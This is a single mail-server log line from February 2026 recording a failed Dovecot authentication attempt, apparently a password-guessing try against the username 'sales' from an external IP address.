2026-02-01 06:48:15 dovecot_login authenticator failed for H=(K7Zwdot25) [158.94.208.215]:53388: 535 Incorrect authentication data (set_id=sales)


